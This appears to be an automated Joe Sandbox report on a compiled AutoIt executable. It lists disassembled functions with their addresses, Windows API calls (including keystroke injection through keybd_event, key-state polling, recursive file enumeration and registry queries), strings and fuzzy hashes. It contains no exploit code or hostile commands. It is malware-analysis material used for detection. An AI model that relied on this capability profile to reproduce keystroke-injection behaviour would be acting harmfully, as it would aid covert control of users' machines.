API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2439800395
Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction ID: 25c24b678e3cfe0342a050e644b30802d6cec002482ef0fc70da27337bd8b222
Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction Fuzzy Hash: 37E1637660878286E724EF35E844A69BBA0FB88BD4F904135DE4E47B64CF7CE456CB10

Function 00007FF797854514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF79785452F
FindWindowW.USER32 ref: 00007FF79789A812
IsIconic.USER32 ref: 00007FF79789A81E
ShowWindow.USER32 ref: 00007FF79789A830
SetForegroundWindow.USER32 ref: 00007FF79789A839
GetWindowThreadProcessId.USER32 ref: 00007FF79789A84C
GetCurrentThreadId.KERNEL32 ref: 00007FF79789A854
GetWindowThreadProcessId.USER32 ref: 00007FF79789A862
AttachThreadInput.USER32 ref: 00007FF79789A878
AttachThreadInput.USER32 ref: 00007FF79789A886
AttachThreadInput.USER32 ref: 00007FF79789A894
SetForegroundWindow.USER32 ref: 00007FF79789A89D
MapVirtualKeyW.USER32 ref: 00007FF79789A8B2
keybd_event.USER32 ref: 00007FF79789A8C3
MapVirtualKeyW.USER32 ref: 00007FF79789A8CD
keybd_event.USER32 ref: 00007FF79789A8DF
MapVirtualKeyW.USER32 ref: 00007FF79789A8E9
keybd_event.USER32 ref: 00007FF79789A8FA
MapVirtualKeyW.USER32 ref: 00007FF79789A904
keybd_event.USER32 ref: 00007FF79789A916
SetForegroundWindow.USER32 ref: 00007FF79789A91F
AttachThreadInput.USER32 ref: 00007FF79789A93C
AttachThreadInput.USER32 ref: 00007FF79789A94A
AttachThreadInput.USER32 ref: 00007FF79789A958

Strings

Shell_TrayWnd, xrefs: 00007FF79789A80B

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction ID: 23acbd0c41235cd0c1c97a6a59ccb638960560eba127b65051039dafe9c5d778
Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction Fuzzy Hash: 62417225B0861283E7747B36AC18A3AAA91BFC8BD1FD54031D94A47B54DF3DA85B8360

Function 00007FF79783183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7978318EA
DeleteObject.GDI32 ref: 00007FF79783194E
DeleteObject.GDI32 ref: 00007FF797831956
DestroyIcon.USER32 ref: 00007FF79783195E
DestroyWindow.USER32 ref: 00007FF797831966
ImageList_Destroy.COMCTL32 ref: 00007FF797879C2A
MoveWindow.USER32 ref: 00007FF79787A15B
SendMessageW.USER32 ref: 00007FF79787A18F
SendMessageW.USER32 ref: 00007FF79787A1AD
ImageList_Destroy.COMCTL32 ref: 00007FF79787A1C2
ImageList_Destroy.COMCTL32 ref: 00007FF79787A1D1

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction ID: d406336a714f754a9281419ce141ba7f06292a79dcf21442d2b225290c585fa0
Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction Fuzzy Hash: 1F22A022A09A4385EB74BB39D454A7DAB61EF84BD4FD44531CA1E0B794DF3CE4A2C321

Function 00007FF79785F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79785FC46
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79785FE69
_invalid_parameter_noinfo.LIBCMT ref: 00007FF797860183
_invalid_parameter_noinfo.LIBCMT ref: 00007FF797860396
memcpy_s.LIBCMT ref: 00007FF7978605D1
memcpy_s.LIBCMT ref: 00007FF797860664
memcpy_s.LIBCMT ref: 00007FF797860818
memcpy_s.LIBCMT ref: 00007FF7978609F2
memcpy_s.LIBCMT ref: 00007FF797860AE7
memcpy_s.LIBCMT ref: 00007FF797860B1F
memcpy_s.LIBCMT ref: 00007FF797860BB6
memcpy_s.LIBCMT ref: 00007FF797860CC7
memcpy_s.LIBCMT ref: 00007FF797860D6F
memcpy_s.LIBCMT ref: 00007FF797860DB5
memcpy_s.LIBCMT ref: 00007FF797860FF1
memcpy_s.LIBCMT ref: 00007FF797861060
memcpy_s.LIBCMT ref: 00007FF79786109E
memcpy_s.LIBCMT ref: 00007FF797861148
memcpy_s.LIBCMT ref: 00007FF79786136C
memcpy_s.LIBCMT ref: 00007FF79786155C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID:
API String ID: 2880407647-0
Opcode ID: ce3caaf699caba12f71b3e9f0da339f933c6cfb778c9e215de14da521d683320
Instruction ID: 4ca0480f7db8ecd2c4d9cf293e7ccfcda55bc8da2679913c521c229058958867
Opcode Fuzzy Hash: ce3caaf699caba12f71b3e9f0da339f933c6cfb778c9e215de14da521d683320
Instruction Fuzzy Hash: DF03F472A186C28BD7759E349540FFDBBA5FB847CCF804135DA095BB89DB38A912CB10

Function 00007FF7978DC6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF7978DC876
SendMessageW.USER32 ref: 00007FF7978DC88E
SendMessageW.USER32 ref: 00007FF7978DC8B6
SendMessageW.USER32 ref: 00007FF7978DC8CE
CharNextW.USER32 ref: 00007FF7978DC903
SendMessageW.USER32 ref: 00007FF7978DC91B
SendMessageW.USER32 ref: 00007FF7978DC950
SendMessageW.USER32 ref: 00007FF7978DC971
GetMenuItemInfoW.USER32 ref: 00007FF7978DC9E1
SetMenuItemInfoW.USER32 ref: 00007FF7978DCA06
DrawMenuBar.USER32 ref: 00007FF7978DCA13
SendMessageW.USER32 ref: 00007FF7978DCA53
InvalidateRect.USER32 ref: 00007FF7978DCA78
SetWindowTextW.USER32 ref: 00007FF7978DCB01
SendMessageW.USER32 ref: 00007FF7978DCB71
SendMessageW.USER32 ref: 00007FF7978DCBE3
SendMessageW.USER32 ref: 00007FF7978DCC3D
SendMessageW.USER32 ref: 00007FF7978DCCC3
SendMessageW.USER32 ref: 00007FF7978DCD2E

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
String ID:
API String ID: 1015379403-0
Opcode ID: 58bad277089d6943eb67c93669011f140949b798b06aa56c89bf1379fa04f349
Instruction ID: b1c4f4edf06c666f1928038bc083433bacd855573a2fda9dd19e605d7e8f9917
Opcode Fuzzy Hash: 58bad277089d6943eb67c93669011f140949b798b06aa56c89bf1379fa04f349
Instruction Fuzzy Hash: 1E02B661A0968289EB30AF359888ABDAB61FF847E4FD44131DA5D07AD4CF3CE567C710

Function 00007FF7978C206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF7978C2094
LoadCursorW.USER32 ref: 00007FF7978C20A5
LoadCursorW.USER32 ref: 00007FF7978C20B6
LoadCursorW.USER32 ref: 00007FF7978C20C7
LoadCursorW.USER32 ref: 00007FF7978C20D8
LoadCursorW.USER32 ref: 00007FF7978C20E9
LoadCursorW.USER32 ref: 00007FF7978C20FA
LoadCursorW.USER32 ref: 00007FF7978C210B
LoadCursorW.USER32 ref: 00007FF7978C211C
LoadCursorW.USER32 ref: 00007FF7978C212D
LoadCursorW.USER32 ref: 00007FF7978C213E
LoadCursorW.USER32 ref: 00007FF7978C214F
LoadCursorW.USER32 ref: 00007FF7978C2160
LoadCursorW.USER32 ref: 00007FF7978C2171
LoadCursorW.USER32 ref: 00007FF7978C2182
LoadCursorW.USER32 ref: 00007FF7978C2193
GetCursorInfo.USER32 ref: 00007FF7978C21A8
GetLastError.KERNEL32 ref: 00007FF7978C21E9

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction ID: 214a1ce746f274d29011475a06d4725408203e8fa1397445cc23f664d3e127d0
Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction Fuzzy Hash: 65515E32B0CB028AEB54AB74E85957D77A1EF48784F944439DA0E83B84DF7CE4668354

Function 00007FF79787529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7978752E5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79787595E
memcpy_s.LIBCMT ref: 00007FF79787630B
memcpy_s.LIBCMT ref: 00007FF7978763B2

Part of subcall function 00007FF797861C28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797861C5A

memcpy_s.LIBCMT ref: 00007FF79787647B

Part of subcall function 00007FF79786B2C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79786B2E9

Strings

1#QNAN, xrefs: 00007FF797876534
1#IND, xrefs: 00007FF7978764F6
1#INF, xrefs: 00007FF797876553
1#SNAN, xrefs: 00007FF797876515

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: 3ce6d098dea06b582cd2cb2e4a3c36d83b3aa6360c3263b8f2a886e09f514321
Instruction ID: 0fcf42dd37fd44e562afc4a02be0ec97ce4c11460c24bebe2b805ed86890b7cb
Opcode Fuzzy Hash: 3ce6d098dea06b582cd2cb2e4a3c36d83b3aa6360c3263b8f2a886e09f514321
Instruction Fuzzy Hash: 94B2F872B082828BE7759E35D440EFDBB91FB447C8F905135DA0A9BB84DF38E5968B10

Function 00007FF797835F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

P, xrefs: 00007FF797835F65

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: e72118c0d96e0102c5b40f29b553151352ee296625f047164934555310371132
Instruction ID: 0bbb12137225edfb373cf0527631d373cd464f1a06e2c27fb450e807436fbaf6
Opcode Fuzzy Hash: e72118c0d96e0102c5b40f29b553151352ee296625f047164934555310371132
Instruction Fuzzy Hash: 1CA18C32A0864186E734EF39D414AAABB64FF847C8F908135DA9A47B94CF7CE596C710

Function 00007FF797872400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF79787243E

Part of subcall function 00007FF797871BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797871BF4

_get_daylight.LIBCMT ref: 00007FF79787242D

Part of subcall function 00007FF797871C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797871C54

_get_daylight.LIBCMT ref: 00007FF797872673
_get_daylight.LIBCMT ref: 00007FF797872684
_get_daylight.LIBCMT ref: 00007FF797872695
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7978728F5), ref: 00007FF7978726BC
WideCharToMultiByte.KERNEL32 ref: 00007FF797872752
WideCharToMultiByte.KERNEL32 ref: 00007FF79787279E

Strings

?, xrefs: 00007FF797872791
-, xrefs: 00007FF797872503
:, xrefs: 00007FF79787255E
:, xrefs: 00007FF797872534

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
String ID: -$:$:$?
API String ID: 3440502458-92861585
Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction ID: 5ba17d45c2fc670f626080f85ccc6d32f0eee91e5ccd6efb1a309726aa0ef4b1
Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction Fuzzy Hash: 2EE10832B0864245E770EF319841A79AFA5FB847D4FD45131EA4E4AB85DF3CD4A38720

Function 00007FF7978B72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7978B72E8
FindClose.KERNEL32 ref: 00007FF7978B731A
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7978B7359
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7978B7381
FileTimeToSystemTime.KERNEL32 ref: 00007FF7978B73B3
FileTimeToSystemTime.KERNEL32 ref: 00007FF7978B73E3

Strings

%03d, xrefs: 00007FF7978B76CF
%02d, xrefs: 00007FF7978B7519
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF7978B747E
%4d, xrefs: 00007FF7978B74C3
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00007FF7978B7441

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3232708057-3289030164
Opcode ID: 814f0e17d8d2bbad75fd670c3d6fe38e01099dff03db83368ac82057212a78ab
Instruction ID: 0a8dbfe87780b344b01e3b83625abda49224d2817e6b31f8c46b2541b7816b50
Opcode Fuzzy Hash: 814f0e17d8d2bbad75fd670c3d6fe38e01099dff03db83368ac82057212a78ab
Instruction Fuzzy Hash: D9D1A162B18A5295EB20FB75D8418FEAB61FB847D4FC00032EA4D47A99DF7CD51AC720

Function 00007FF7978BA350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7978BA390
GetFileAttributesW.KERNEL32 ref: 00007FF7978BA3CE
SetFileAttributesW.KERNEL32 ref: 00007FF7978BA3E5
FindNextFileW.KERNEL32 ref: 00007FF7978BA3FA
FindClose.KERNEL32 ref: 00007FF7978BA407
FindClose.KERNEL32 ref: 00007FF7978BA424
FindFirstFileW.KERNEL32 ref: 00007FF7978BA43D
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978BA489
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978BA4B0
FindNextFileW.KERNEL32 ref: 00007FF7978BA4BE
FindClose.KERNEL32 ref: 00007FF7978BA4CD

Strings

*.*, xrefs: 00007FF7978BA436

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction ID: ae4c6fa9b20c4174beb22cc2c74323642d2b937aaeee61890f1c149929adb2ab
Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction Fuzzy Hash: 2141602161864294EB20BB35E849AB9EBA1FF45BE4FC45131DD6E436A4DF3CE41BC321

Function 00007FF7978AD87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM ref: 00007FF7978AD8F5
mciSendStringW.WINMM ref: 00007FF7978AD913
mciSendStringW.WINMM ref: 00007FF7978AD92B
mciSendStringW.WINMM ref: 00007FF7978AD949
mciSendStringW.WINMM ref: 00007FF7978AD967

Strings

open , xrefs: 00007FF7978AD894
play PlayMe, xrefs: 00007FF7978AD960
alias PlayMe, xrefs: 00007FF7978AD8CF
play PlayMe wait, xrefs: 00007FF7978AD942
status PlayMe mode, xrefs: 00007FF7978AD8EE
close PlayMe, xrefs: 00007FF7978AD907, 00007FF7978AD952

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 8c75045ae2975b650199124e41f521ffa5447aaf8d5604ea34d6cf9b552b621e
Instruction ID: fcc3de052f5b2f0dd76dae20f33824133cb6c8db67e517b84b2e76533ead81d4
Opcode Fuzzy Hash: 8c75045ae2975b650199124e41f521ffa5447aaf8d5604ea34d6cf9b552b621e
Instruction Fuzzy Hash: C1212122A1855391E730FB34E895E6AAB71FF94788FC44031E94D43999DF2CD51BC760

Function 00007FF7978A7E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF7978A7F01
SetKeyboardState.USER32 ref: 00007FF7978A7F58
GetAsyncKeyState.USER32 ref: 00007FF7978A7F7E
GetKeyState.USER32 ref: 00007FF7978A7F93
GetAsyncKeyState.USER32 ref: 00007FF7978A7FC2
GetKeyState.USER32 ref: 00007FF7978A7FD2
GetAsyncKeyState.USER32 ref: 00007FF7978A8001
GetKeyState.USER32 ref: 00007FF7978A8011
GetAsyncKeyState.USER32 ref: 00007FF7978A8040
GetKeyState.USER32 ref: 00007FF7978A8050
GetAsyncKeyState.USER32 ref: 00007FF7978A807F
GetKeyState.USER32 ref: 00007FF7978A808F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: c617befc0bd1dbd4d54129b7722c2ebd01a7f232fb97f78571421a33ec3567e4
Instruction ID: 0418997685a70be0a48e87da06cb2a6ded8544be1f64b699a31962a06b522d62
Opcode Fuzzy Hash: c617befc0bd1dbd4d54129b7722c2ebd01a7f232fb97f78571421a33ec3567e4
Instruction Fuzzy Hash: CC710712A0C6C285FB39AB309410AB9AF61EF95FC4FD80039D68D03682CE6DD967D735

Function 00007FF7978BA4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7978BA530
FindNextFileW.KERNEL32 ref: 00007FF7978BA588
FindClose.KERNEL32 ref: 00007FF7978BA595
FindClose.KERNEL32 ref: 00007FF7978BA5B3
FindFirstFileW.KERNEL32 ref: 00007FF7978BA5CC
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978BA611
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7978BA638
FindNextFileW.KERNEL32 ref: 00007FF7978BA646
FindClose.KERNEL32 ref: 00007FF7978BA655

Part of subcall function 00007FF7978AC67C: CreateFileW.KERNEL32 ref: 00007FF7978AC6B1

Strings

*.*, xrefs: 00007FF7978BA5C5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction ID: 6098d5dec4807789320215c2e3e1b40e59dab88a7d4dae150e0a6f349337933e
Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction Fuzzy Hash: 8E41A061A0CA42A4EA20BB35A844AB9EB91FF45BE4FC05131DD6E436D5DF3CD41BC721

Function 00007FF7978D055C Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978D1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7978CFD7B), ref: 00007FF7978D1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7978D0662
RegOpenKeyExW.ADVAPI32 ref: 00007FF7978D06CD
RegCloseKey.ADVAPI32 ref: 00007FF7978D06F4
RegQueryValueExW.ADVAPI32 ref: 00007FF7978D0746
RegQueryValueExW.ADVAPI32 ref: 00007FF7978D07FD
